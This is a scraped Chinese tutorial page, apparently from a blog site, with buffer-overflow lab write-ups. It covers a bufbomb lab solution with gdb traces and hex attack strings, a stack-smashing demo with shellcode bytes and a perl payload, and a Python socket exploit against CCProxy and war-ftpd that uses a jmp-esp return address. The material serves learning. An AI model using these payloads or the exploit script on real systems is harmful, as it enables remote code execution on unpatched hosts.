
    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    查看EBP寄存器的旧值。

    (gdb) x/xw 0x556833c0
    0x556833c0 <_reserved+1037248>:	0x556833e0
    

    结果显示EBP寄存器的旧值是556833e0,在之后的攻击字符串将要改写这个值,同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a0
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,因此getbuf函数结束后将返回到test函数正常执行。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区。查看EBP寄存器的旧值是否改变。

    (gdb)  x/xw 0x556833c0
    0x556833c0 <_reserved+1037248>:	0x0804d2f8
    

    可以看到EBP寄存器的旧值的存储位置上的值已经变成了0x0804d2f8,这就是我们在攻击字符串中设置的cookie全局变量的地址减去8以后的结果。也就是说攻击字符串已经把栈桢中保存的EBP寄存器的旧值改变。

    查看返回地址的值是否发生变化。

    (gdb)  x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x0804941b
    

    可以看到返回地址的存储位置上的值已经变成了0x0804941b,这就是我们在攻击字符串中设置的指向了fizz函数中在比较指令之前读取EBP寄存器中值的地址。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c
    Continuing.
    Type string:Fizz!: You called fizz(0x6822364a)
    VALID
    NICE JOB!
    [Inferior 1 (process 67757) exited normally]
    

    程序输出可以看出我们成功调用了fizz函数,也就是成功完成了Level 1: fizz的实验任务。

    实验Level 2: bang

    实验目的:

    更复杂的缓冲区攻击将在攻击字符串中包含实际的机器指令,并通过攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。这样,当调用过程(这里是 getbuf)执行 ret 指令时,程序将开始执行攻击代码而不是返回上层过程。

    使用这种攻击方式可以使被攻击程序执行任何操作。随攻击字符串被放置到栈上的代码称为攻击代码(exploit code)。然而,此类攻击具有一定难度,因为必须设法将攻击机器代码置入栈中,并且将返回地址指向攻击代码的起始位置。

    在 bufbomb 程序中,有一个bang过程,代码如下:

    int global_value = 0; 
    void bang(int val)
    {
    	if (global_value == cookie) {
    		printf("Bang!: You set global_value to 0x%x\n",global_value);
    		validate(2);
    		} 
    	else
    	  printf("Misfire: global_value = 0x%x\n", global_value);
    	exit(0); 
    }
    

    本实验级别的任务是让 bufbomb 执行 bang 过程中的代码而不是返回到 test 过程继续执行。具体来讲,攻击代码应首先将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行

    注意事项

    • 可以使用 GDB 获得构造攻击字符串所需的信息。例如,在 getbuf 过程里设置一个断点并执行到该断点处,进而确定 global_value 和缓冲区等变量的地址。
    • 手工进行指令的字节编码枯燥且容易出错。相反,你可以使用一些工具来完成该工作。
    • 不要试图利用 jmp 或者 call 指令跳到 bang 过程的代码中,这些指令使用相对 PC 的寻址,很难正确达到前述目标。相反,你应向栈中压入地址并使用 ret 指令实现跳转。

    思路分析

    bang函数的汇编代码:

    
    08049466 <bang>:
     8049466:    55           push  %ebp
     8049467:    89 e5          mov  %esp,%ebp
     8049469:    83 ec 08        sub  $0x8,%esp
     804946c:    a1 08 d3 04 08     mov  0x804d308,%eax    //全局变量cookie的值
     8049471:    89 c2          mov  %eax,%edx
     8049473:    a1 00 d3 04 08     mov  0x804d300,%eax    //global_value的值
     8049478:    39 c2          cmp  %eax,%edx
     804947a:    75 25          jne  80494a1 <bang+0x3b>
     804947c:    a1 08 d3 04 08     mov  0x804d308,%eax
     8049481:    83 ec 08        sub  $0x8,%esp
     8049484:    50           push  %eax
     8049485:    68 a4 b0 04 08     push  $0x804b0a4
     804948a:    e8 d1 fb ff ff     call  8049060 <printf@plt>
     804948f:    83 c4 10        add  $0x10,%esp
     8049492:    83 ec 0c        sub  $0xc,%esp
     8049495:    6a 02          push  $0x2
     8049497:    e8 3b 09 00 00     call  8049dd7 <validate>
     804949c:    83 c4 10        add  $0x10,%esp
     804949f:    eb 16          jmp  80494b7 <bang+0x51>
     80494a1:    a1 08 d3 04 08     mov  0x804d308,%eax
     80494a6:    83 ec 08        sub  $0x8,%esp
     80494a9:    50           push  %eax
     80494aa:    68 c9 b0 04 08     push  $0x804b0c9
     80494af:    e8 ac fb ff ff     call  8049060 <printf@plt>
     80494b4:    83 c4 10        add  $0x10,%esp
     80494b7:    83 ec 0c        sub  $0xc,%esp
     80494ba:    6a 00          push  $0x0
     80494bc:    e8 6f fc ff ff     call  8049130 <exit@plt>
    

    通过bang函数的汇编代码可以看得到,global_value的地址是0x804d300,cookie的地址是0x804d308,为了完成实验的目的,我们首先需要将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。除此之外,我们还需要找到input string存放的位置作为第一次ret 指令的目标位置。

    Level 2求解思路

    1. 自定义设计指令,指令需要完成将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行等任务。
    2. 找到input string存放的位置作为第一次ret 指令的目标位置,在攻击字符串中对应返回地址的位置处。
    构造自定义攻击指令bang.s

    先将global_value 用mov指令变cookie (0x0804d308 前不加$ 表示地址),然后将bang()函数地址0x08049466写给esp,再执行ret指令时,程序自动跳入bang()函数,也就是如下所示:

    movl $0x6822364a,  0x0804d308
    pushl $0x08049466
    ret
    

    指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o再用objdump -d bang.o 读取machine code。

    将指令代码写入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的字节缓冲区首地址为**<0x55683387>**,综上所属我们可以构造如下攻击字符串:

    c7 05 00 d3 04 08 4a 36 22 68 
    68 66 94 04 08 c3 00 11 22 33
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00  /* end of buffer */  
    00 11 22 33
    87 33 68 55  
    

    前16个个字节就是我们自定义设计的指令代码,然后接下来的41个字节用于填充缓冲区,与实验目标无关,可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,可以随意设置。最后四个字节我们保存input string存放的位置作为第一次ret 指令的目标位置。

    GDB调试观察Level 2求解过程

    在bang.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在bang-raw.txt文件中。

    ./hex2raw < bang.txt > bang-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < bang-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < bang-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a0
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x55683387
    

    可以看到返回地址的存储位置上的值已经变成了0x55683387,这就是我们在攻击字符串中设置input string存放的位置作为第一次ret 指令的目标位置。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c
    Continuing.
    Type string:Bang!: You set global_value to 0x6822364a
    VALID
    NICE JOB!
    [Inferior 1 (process 2696) exited normally]
    

    程序输出可以看出我们成功调用了bang函数,也就是成功完成了Level 2: bang的实验任务。

    实验提示:生成对应汇编指令序列的字节代码

    为方便生成指令序列的字节编码表示(例如用于 Level 2-4),可以依次使用 GCC 和 OBJDUMP 对所设计完成特定攻击目标的汇编指令序列进行汇编并再反汇编,从而得到指令 序列的字节编码表示。

    例如,可编写一个 example.S 文件包含如下汇编代码:

    # Example of hand-generated assembly code 
    push $0xabcdef # Push value onto stack 
    add $17,%eax # Add 17 to %eax
    .align 4 # Following will be aligned on multiple of 4 
    .long 0xfedcba98 # A 4-byte constant
    

    然后,可如下汇编再反汇编该文件:

    linux>gcc -m32 -c example.S linux>objdump -d example.o > example.d
    

    生成的 example.d 文件包含如下代码行:

    0: 68 ef cd ab 00 push $0xabcdef
    5: 83 c0 11       add $0x11,%eax 
    8: 98             cwtl
    9: ba             .byte 0xba
    a: dc fe           fdivr %st,%st(6)
    

    其中,每行显示一个单独的指令。左边的数字表示指令的起始地址(从 0 开始),”:” 之后的 16 进制数字给出指令的字节编码(即实验所需的编码后的攻击字符串内容)。例如, 指令”push $0xabcdef“对应的 16 进制字节编码为”68 ef cd ab 00“。 然而,注意从地址“8”开始,反汇编器错误地将本来对应程序中静态数据的多个字节解释 成了指令(cwtl)。实际上,从该地址起的 4 个字节“98 ba dc fe”对应于前述 example.S 文 件中最后的数据 0xfedcba98 的小端字节表示。

    按上述步骤确定了所设计机器指令对应的字节序列“68 ef cd ab 00 83 c0 11 98 ba dc fe”后,就可以把该十六进制格式字符串输入 hex2raw 程序以产生一个用于输入到 bufbomb 程序的攻击字符串。更方便的方法是,由于 hex2raw 程序支持在输入字符串中包含 C 语言 块注释(以方便用户理解其中字符串对应的指令),可以编辑修改 example.d 文件为如下形 式(将反汇编结果中的指令说明变为注释):

    68 ef cd ab 00 /* push $0xabcdef */ 
    83 c0 11 /* add $0x11,%eax */ 
    98 ba dc fe
    

    然后就可将该文件做为 hex2raw 程序的输入进行实验

    展开全文
  • 感觉这个领域的知识点太多,而且非常底层,缓冲区溢出攻击这个算是最容易理解的了,就先从这个开始入门吧~  先试个最简单的例子,学习学习原理~  本文代码和原理主要参考...

      由于工作的需要,开始学习安全领域的知识了。感觉这个领域的知识点太多,而且非常底层,缓冲区溢出攻击这个算是最容易理解的了,就先从这个开始入门吧~

      先试个最简单的例子,学习学习原理~

      本文代码和原理主要参考http://blog.csdn.net/linyt/article/details/43283331博客,大部分内容是直接抄原博客,加了一点自己测试时遇到的问题。

    测试环境

      Ubuntu 16.04 TLS

    测试前准备

      1. 关闭地址随机化功能:

      echo 0 > /proc/sys/kernel/randomize_va_space

      2. 由于测试用到的是编译出32位程序,现在常见的都是64位系统,先安装一下gcc编译32位程序用到的库:

      sudo apt-get install libc6-dev-i386

    示例代码

      (这里对原博客中的代码进行了一点修改,主要是将拷贝的代码放到f()函数中,而不是直接在main函数中实现所有功能。主要是原代码在测试时,遇到缓冲区溢出后,我的EIP总修改不了,而是报错cannot access address 0x41414141...之类的,后来查了下,好像是main函数有个什么地址对其之类的导致的,把实现放在随便一个不是main的函数里就行。目前还不懂具体原因,后面慢慢学习会了再改这里。)

     1 #include <stdio.h>
     2 #include <string.h>
     3 
     4 int f()
     5 {
     6     char buf[32];
     7     FILE *fp;
     8 
     9     fp = fopen("bad.txt", "r");
    10     if(!fp) {
    11         perror("fopen");
    12     }
    13 
    14     fread(buf, 1024, 1, fp);
    15     printf("data: %s\n", buf);
    16     return 0;
    17 }
    18 
    19 int main(int argc, char *argv[])
    20 {
    21     f();
    22 
    23     return 0;
    24 }

    示例代码有明显的溢出问题,buf的size为32,但是拷贝了最多可达1024个字符。

     

    编译程序

    gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack

    参数解释:

      -fno-stack-protector : 禁用栈溢出检测功能

      -m32 : 生成32位程序

      -Wl,-zexecstack : 支持栈端可执行

     

    尝试修改EIP,控制执行路径 (直接抄原博客了)

      那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

       buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

      为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

      为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

    输出30个'A'字符

    $ perl -e 'printf "A"x30'

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

     

    输出30个'A'字符,后追加4个'B'字符

    $ perl -e 'printf "A"x30 . "B"x4'

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

     

    尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。

    目前知道buf大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault,则每次增加'A'字符4个,直到程序segment fault。如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242

     

    我机器上的测试过程:

     

    $ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    已溢出,造成输出乱码,但没有segment fault

     

    $ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    没有segment fault

     

    $ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    没有segment fault

     

    $ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒

    输出乱码,但没有segment fault

     

    $ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)

    产生segment fault.

     

    使用调试工具gdb分析此时的EIP是否为0x42424242

    首先输入ulimit -c unlimited

    接着运行一下上面的出错的那条指令,此时当前目录下会出现一个core文件

    $ gdb ./stack1 core -q

    Reading symbols from /home/ivan/exploit/stack1...done.

    [New LWP 6043]

     

    warning: Can't read pathname for load map: Input/output error.

    Core was generated by `./stack1'.

    Program terminated with signal 11, Segmentation fault.

    #0  0x42424242 in ?? ()

    (gdb) info register eip

    eip            0x42424242       0x42424242

     

    分析core文件,发现eip被写成'BBBB',注入内容中的'BBBB'刚才对准了栈中存放EIP的位置。 

    找到EIP位置,离成功迈进了一大步。

     

    注入执行代码

    控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

     

    通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

     

    为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出"FUCK"字符串,然后程序退出。

     

    为了简单起引, 我们shellcode就相当于下面两句C语言的效果:

    write(1, "FUCK\n", 5);

    exit(0);

    Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。

     

    下面32位x86的汇编代码shell1.s

     1 BITS 32
     2 start:
     3 xor eax, eax
     4 xor ebx, ebx
     5 xor ecx, ecx
     6 xor edx, edx
     7 
     8 mov bl, 1
     9 add esp, string - start
    10 mov ecx, esp
    11 mov dl, 5
    12 mov al, 4
    13 int 0x80
    14 
    15 mov al, 1
    16 mov bl, 1
    17 dec bl
    18 int 0x80
    19 
    20 string:
    21 db "FUCK", 0xa

    编译程序:

    nasm -o shell1 shell1.s

    反编译:

    ndisasm shell1

    结果如下:(我编译出来的和原博客的代码一样,我觉得应该x86的都是这样的吧~)

     1 00000000  31C0             xor ax,ax  
     2 00000002  31DB             xor bx,bx  
     3 00000004  31C9             xor cx,cx  
     4 00000006  31D2             xor dx,dx  
     5 00000008  B301             mov bl,0x1  
     6 0000000A  83C41D           add sp,byte +0x1d  
     7 0000000D  89E1             mov cx,sp  
     8 0000000F  B205             mov dl,0x5  
     9 00000011  B004             mov al,0x4  
    10 00000013  CD80             int 0x80  
    11 00000015  B001             mov al,0x1  
    12 00000017  B301             mov bl,0x1  
    13 00000019  FECB             dec bl  
    14 0000001B  CD80             int 0x80  
    15 0000001D  46               inc si  
    16 0000001E  55               push bp  
    17 0000001F  43               inc bx  
    18 00000020  4B               dec bx  
    19 00000021  0A               db 0x0a

     

    打通任督二脉

    上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

     

    很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

     

    (先删掉之前的core文件) rm ./core

    $ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒

    Segmentation fault (core dumped)

     

    $ gdb ./stack1 core -q

    Reading symbols from /home/ivan/exploit/stack1...done.

    [New LWP 7399]

     

    warning: Can't read pathname for load map: Input/output error.

    Core was generated by `./stack1'.

    Program terminated with signal 11, Segmentation fault.

    #0  0x42424242 in ?? ()

    (gdb) info register esp

    esp            0xffffd710       0xffffd710

     

    esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为"\x10\xd7\xff\xff"

     

    所以将EIP原来的注入值'BBBB'变成"\x10\xd7\xff\xff"即可。再次测试:

     

    $ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒

    FUCK

     

    成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

     

    小结

      这里是一个基本上最简单的缓冲区溢出漏洞攻击的例子了,虽然这技术有点老,不管怎么样,实验成功了,还是蛮好玩的。

      现代操作系统有很多改进的东西,例如地址随机化、栈数据不可执行等,不过从这个简单的例子,再一步一步学习后面的技术,就好了~

      下一章介绍下这个例子的原理,大部分还是参考原博客的原理分析,不过我好多基础的知识忘了,我得写详细点,以后看起来方便~

     

    原博客参考:

    http://blog.csdn.net/linyt/article/details/43283331

    转载于:https://www.cnblogs.com/qwertwwwe/p/5746466.html

    展开全文
  • 网络攻防:ccproxy + war-ftpd 缓冲区溢出攻击详解准备工作我的工具ccproxy攻击流程1.测试是否有漏洞1.1启动ccproxy软件1.2 用调试软件将ccproxy挂起1.3 测试是否有漏洞2.根据测试结构构造shellcode3.攻击测试war-...

    准备工作

    VM虚拟机,存在漏洞的windows版本镜像,ccproxy,war-ftp,cdb/windbg等调试工具,python3

    我的工具

    虚拟机镜像和windows镜像
    在这里插入图片描述
    在这里插入图片描述

    软件如有需要,请私信

    可以参考我的b站视频(b站搜索 ‘ 洛地有水晚来秋 ’ 查看本期视频)

    链接: b站 --> 洛地有水晚来秋.

    ccproxy攻击流程

    1.测试是否有漏洞

    1.1启动ccproxy软件

    在这里插入图片描述

    1.2 用调试软件将ccproxy挂起

    在这里插入图片描述
    在这里插入图片描述
    在1箭头输入 g ,然后回车,使得调试工具开始工作。
    在这里插入图片描述

    1.3 测试是否有漏洞

    查看目标机器的ip,并使用telnet命令连接
    在这里插入图片描述
    连接成功,
    先 ping AAAA
    再 ping Ax1000 (可以是其他字符)
    再 ping Ax2000 (可以是其他字符,这里要求字符不同,方便确定字符的相对位置
    在这里插入图片描述
    在调试工具中可以看到,现在是溢出的状态
    接着在工具的输入框中使用dd eip 和 dd esp查看eip和esp的内容
    在这里插入图片描述

    计算eip和esp内容的字符在刚刚的2000个字符中的相对位置。
    在这里插入图片描述

    2.根据测试结构构造shellcode

    在这里插入图片描述

    #jmp esp
    retaddr = bytes.fromhex('7ffa4512')[::-1]
    
    #  pattern.find(bytes.fromhex('68423768')[::-1])
    
    buf = ((b"\x90" *4 + shellcode1).ljust(1012,b"\x90") + retaddr).ljust(2000,b"\x90")
    

    3.攻击测试

    按之前的步骤,打开ccproxy,用调试工具挂起,使用telnet命令连接
    之后,在python中使用脚本进行攻击,我这里使用的是打开计算器的shellcode。

    import socket
    from string import ascii_uppercase,ascii_lowercase,digits
    import itertools
    
    def send_buf(buffer,host='192.168.141.129',port=23):
      with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as sock:
        sock.connect((host,port))
        data = b'ping ' + buffer + b'\r\n'
        sock.send(data)
        sock.recv(1000)
    
    #1.确定跳转位置    生成不重复的2000字符串
    pattern = (''.join(map(''.join,itertools.product(ascii_uppercase,ascii_lowercase,digits))).encode())[:2000]
    
    #2.打开计算器的shellcode
    #可以用自己的shellcode
    shellcode1 = 自己的shellcode
    
    #jmp esp
    retaddr = bytes.fromhex('7ffa4512')[::-1]
    
    #  pattern.find(bytes.fromhex('68423768')[::-1])
    
    buf = ((b"\x90" *4 + shellcode1).ljust(1012,b"\x90") + retaddr).ljust(2000,b"\x90")
    
    
    
    
    

    在这里插入图片描述

    war-ftpd 详细演示

    这部分演示都一样,步骤参考ccproxy,下面只列举出每步的结果截图。关于war-ftpd的各种坑,有时间的话会更新。

    可以参考我的b站视频(b站搜索 ‘ 洛地有水晚来秋 ’ 查看本期视频)

    链接: b站 --> 洛地有水晚来秋.

    1.测试是否有漏洞

    步骤参考ccproxy
    先打开war-ftp软件
    再用调试工具挂起,注意exe的名字,可用任务管理器查看
    再ftp命令连接
    在这里插入图片描述
    在这里插入图片描述

    2.根据测试构造shellcode

    在这里插入图片描述
    在这里插入图片描述

    #jmp esp
    retaddr = bytes.fromhex('7ffa4512')[::-1]
    
    #  pattern.find(bytes.fromhex('68423768')[::-1])
    
    #buf = ((b"\x90" *4 + shellcode1).ljust(1012,b"\x90") + retaddr).ljust(2000,b"\x90")
    
    buf = ((b"\x90" *485 + retaddr).ljust(493,b"\x90") + shellcode1).ljust(1000,b"\x90")
    

    3.攻击测试

    在这里插入图片描述

    可以参考我的b站视频(b站搜索 ‘ 洛地有水晚来秋 ’ 查看本期视频)

    链接: b站 --> 洛地有水晚来秋.

    展开全文
  • 测试机:windows7 32位 测试步骤: 准备Win7-X86并安装Flash18 如果安装提示不是最新版本,需要去注册表-删除HKEY—LOCAL—MACHINE\SOFTWARE\Macromedia\flashplayer\safeversions 中18以及以上的版本 安装后运行...
  • 在通过了基本的测试程序后,开始分析其原理。  本问的内容还是主要参考http://blog.csdn.net/linyt/article/details/43315429   先回顾下一些基础: 汇编程序快速入门(32位): ...
  • 安全测试缓冲区溢出(BO)

    千次阅读 2016-02-02 15:32:26
    一、缓冲区溢出的概念BO的概念很简单,就是你申请了一点内存,而你填入的数据超过了内容的大小,这样你填入的数据就会占用其他的内容,这种情况就是缓冲区溢出。void copy(char* info) { char buf[100]; strcpy(buf,...
  • 静态和动态测试工具Java和堆栈保护可以提供帮助结束语参考资料在上一篇专栏文章中,描述了高水平的缓冲区溢出攻击,以及讨论了为什么缓冲区溢出是如此严重的安全性问题。本专栏文章的主题是,通过防御性编程保护代码...
  • 2000年12月21日 15:43:00 作者:rix (rix@securiweb.net)backend注:本文来自Phrack56期的《SMASHING C++ VPTRS》。正如大多数国外黑客的文章,技术原理及应用都讲得比较详细,但所提供的源代码...)测试环境: 
  • backend注:本文来自Phrack56期的《SMASHING C++ VPTRS》。正如大多数国外黑客的文章,技术原理及应用都讲得比较详细,但所提供的...)测试环境: 操作系统:Red Hat 6.1 (i386) 内核版本:Kernel 2.2.14 内核补丁:
  • 原文地址:Overflow)">安全测试系列二:缓冲区溢出(Buffer Overflow)作者:克莱沃曼 说到安全问题就不得不提BO。BO是安全中最大,最重要的问题,也是最最经典的安全漏洞,它可以使黑客执行任意代码,从而引发EOP...
  • 概要 漏洞利用开发过程 劫持PC 计算偏移 大型字符串脚本 测试 ...3.确定攻击途径 4.构建漏洞攻击途径 ...打开IDA附加远程进程,按F9键执行程序,程序立即崩溃,可以看出缓冲区已经溢出,此时,...
  • 测试环境 操作系统:WindowsXP 选用工具:VC6.0、OllyDbg ...一、编写缓冲区溢出的代码并执行 代码如下: #include <stdio.h> #include <string.h> char name[] = "ABCDEFGHIJKLMNOPQRST"; int main()
  • 缓冲区溢出 1.原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或 使程序转而执行其它指令,以达到攻击的目的。 2.原因程序中没有仔细检查用户输入的参数,...
  • 缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。 缓冲区可以更抽象地理解为一段可读写的内存区域, 缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意...
  • 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具: 调试工具:edb; ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire【多人在线RPG游戏】 运行...
  • 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具: 调试工具:edb; ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire【多人在线RPG游戏】 ...
  • 两种溢出的基本原理:内存溢出和缓冲区溢出。 0x01: 内存溢出: 内存溢出为啥会发生在c/c++? 1.语言缺陷:这两种语言不会检查数组的边界。 2.c++开发出来的程序非常的接近内核,弄够直接访问内存和寄存器。 我们举个...
  • CCProxy远程缓冲区溢出分析luoluo [luoluonet@hotmail.com]CCProxy的缓冲区溢出攻击代码早已公布,但是我并没有能找到漏洞的相关说明,以下就对这个简单的缓冲区溢出漏洞作简要分析。偶水平很菜,加上糟糕的文字,...
  • BO是安全中最大,最重要的问题,也是最最经典的安全漏洞,它可以使黑客执行任意代码,从而引发EOP的攻击。很多黑客并不太在乎其他的安全漏洞,他们就是想发现BO,从而拥有对机器的控制权。 由于BO这个问题太经典了,...
  • 渗透测试之一:缓冲区原理分析

    千次阅读 2014-12-31 15:32:15
    在学习渗透测试过程中,一定要看shellcode编程揭秘,在该书中存在很多自己需要...随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中
  • MS08-067漏洞 远程溢出入侵测试

    千次阅读 2018-03-06 23:57:06
    MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程履行代码。在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003...

空空如也

空空如也

1 2 3 4 5 ... 8
收藏数 155
精华内容 62
关键字:

缓冲区溢出攻击测试